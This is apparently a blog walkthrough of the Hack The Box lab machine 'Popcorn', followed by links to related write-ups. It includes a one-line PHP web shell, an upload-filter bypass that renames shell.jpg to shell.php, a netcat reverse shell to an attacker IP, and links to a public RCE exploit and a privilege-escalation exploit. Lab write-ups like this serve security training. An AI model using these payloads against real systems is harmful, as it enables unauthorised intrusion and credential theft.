# Popcorn

Hack-The-Box 51 / 72
3 min read
HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. PHP MySQL
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Popcorn
  • OS Type: Linux
  • Difficulty: Medium

Port Scanning - Service & Version Enumeration

Terminal window
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIAn8zzHM1eVS/OaLgV6dgOKaT+kyvjU0pMUqZJ3AgvyOrxHa2m+ydNk8cixF9lP3Z8gLwquTxJDuNJ05xnz9/DzZClqfNfiqrZRACYXsquSAab512kkl+X6CexJYcDVK4qyuXRSEgp4OFY956Aa3CCL7TfZxn+N57WrsBoTEb9PAAAAFQDMosEYukWOzwL00PlxxLC+lBadWQAAAIAhp9/JSROW1jeMX4hCS6Q/M8D1UJYyat9aXoHKg8612mSo/OH8Ht9ULA2vrt06lxoC3O8/1pVD8oztKdJgfQlWW5fLujQajJ+nGVrwGvCRkNjcI0Sfu5zKow+mOG4irtAmAXwPoO5IQJmP0WOgkr+3x8nWazHymoQlCUPBMlDPvgAAAIBmZAfIvcEQmRo8Ef1RaM8vW6FHXFtKFKFWkSJ42XTl3opaSsLaJrgvpimA+wc4bZbrFc4YGsPc+kZbvXN3iPUvQqEldak3yUZRRL3hkF3g3iWjmkpMG/fxNgyJhyDy5tkNRthJWWZoSzxS7sJyPCn6HzYvZ+lKxPNODL+TROLkmQ==
|   2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBXr3xI9cjrxMH2+DB7lZ6ctfgrek3xenkLLv2vJhQQpQ2ZfBrvkXLsSjQHHwgEbNyNUL+M1OmPFaUPTKiPVP9co0DEzq0RAC+/T4shxnYmxtACC0hqRVQ1HpE4AVjSagfFAmqUvyvSdbGvOeX7WC00SZWPgavL6pVq0qdRm3H22zIVw/Ty9SKxXGmN0qOBq6Lqs2FG8A14fJS9F8GcN9Q7CVGuSIO+UUH53KDOI+vzZqrFbvfz5dwClD19ybduWo95sdUUq/ECtoZ3zuFb6ROI5JJGNWFb6NqfTxAM43+ffZfY28AjB1QntYkezb1Bs04k8FYxb5H7JwhWewoe8xQ==
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.2.12
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://popcorn.htb/
|_http-server-header: Apache/2.2.12 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

i’ll start my enumeration from port 80 which is running website

image.png

looks like it only allows access using hostname, let’s add the entry in /etc/hosts file and then refresh the webpage

image.png

i’ll check the website technology using whatweb

Terminal window
whatweb http//popcorn.htb
image.png

let’s run gobuster to fuzz for files and directories

Terminal window
gobuster dir -u http://popcorn.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
image.png

let’s check the /test first

image.png

it has the phpinfo page, let’s keep this info in our back-pocket and move to another directory /torrent

image.png

create account and then login using created account’s creds

after loging in i found the upload section which we can use to upload the torrent files

image.png

Note: If you need automate exploit to exploit vulnerability → https://github.com/Anon-Exploiter/exploits/blob/master/torrent_hoster_unauthenticated_rce.py

we are going to find and exploit it manually, open the burpsuite and start the proxy

after trying to upload the txt file it says it’s not valid torrent file

image.png

if we navigate to browse option we found the already uploaded torrent named “kali Linux”

image.png

after clicking the download we found that it uses the standard torrent extension (.torrent)

image.png

so i’ve created simple php shell with .torrent extension

image.png

now let’s try to upload the torrent file

image.png

but i faced same issue looks like it is also checking the file type and contents let’s upload the downloaded torrent and give it another name

image.png

it shows the torrent is already exist

image.png

then i used online torrent generator website to generate a torrent file → https://kimbatt.github.io/torrent-creator/

create simple file on kali with any content i created 0xh3x file and upload it to website and convert it to torrent

image.png

and this time torrent uploaded successfully

go to browse and then select uploaded torrent we found the option to edit torrent which allows us to upload the screenshot!

image.png

create a shell.jpg file with following contents.

Terminal window
<?php system($_GET['cmd']); ?>

then upload the shell.jpg

image.png

intercept the request and change file name to shell.php and then forward the request it will successfully upload the shell.php as screenshot

hover on the screenshot section and we’ll find the url to access screenshot

image.png

access the url

image.png

and we got RCE on the system let’s get the shell using below command

start netcat listener on port 443 before executing below command

Terminal window
nc 10.10.14.17 443 -e /bin/bash
image.png

get TTY shell using

Terminal window
python -c 'import pty;pty.spawn("/bin/bash");'

we found user.txt inside the /home/george/user.txt

image.png

after gaining shell on the machine i started enumerating system for intersting files i found database creds inside the config.php file

image.png

let’s check if mysql service running or not using ss -tunlp command

image.png

to troubleshoot this issue we need to first add /sbin directory to $PATH variable

Terminal window
export PATH=$PATH:/sbin

and then run ss -tunlp again

image.png

great we can see that the mysql server is running let’s login using credentials we’ve founded in config.php file

we found the password in database but was not crackable

then i ran linpeas.sh and found interesting PAM MOTD vulnerability

image.png

https://www.exploit-db.com/exploits/14339 download exploit from exploitdb and transfer it to target machine

give it execute permissions chmod +x 14339.sh

image.png
Next: Precious
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Jarvis

Hack-The-Box 33 / 72
5 min read

Linux Medium machine - Jarvis.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP MySQL SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector.

# Nineveh

Hack-The-Box 46 / 72
6 min read

Linux Medium machine - Nineveh.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP LFI ⓘ Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. MySQL Brute Force ⓘ Systematically trying many credential combinations until one succeeds. SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector. Cronjob ⓘ A scheduled task on Linux — often abused for privilege escalation when it runs as root with a writable script.

# Dog

Hack-The-Box 23 / 72
3 min read

Linux Linux machine - Dog.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP MySQL Git

# **Devvortex**

Hack-The-Box 24 / 72
4 min read

Linux Easy machine - **Devvortex**.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP MySQL
Comments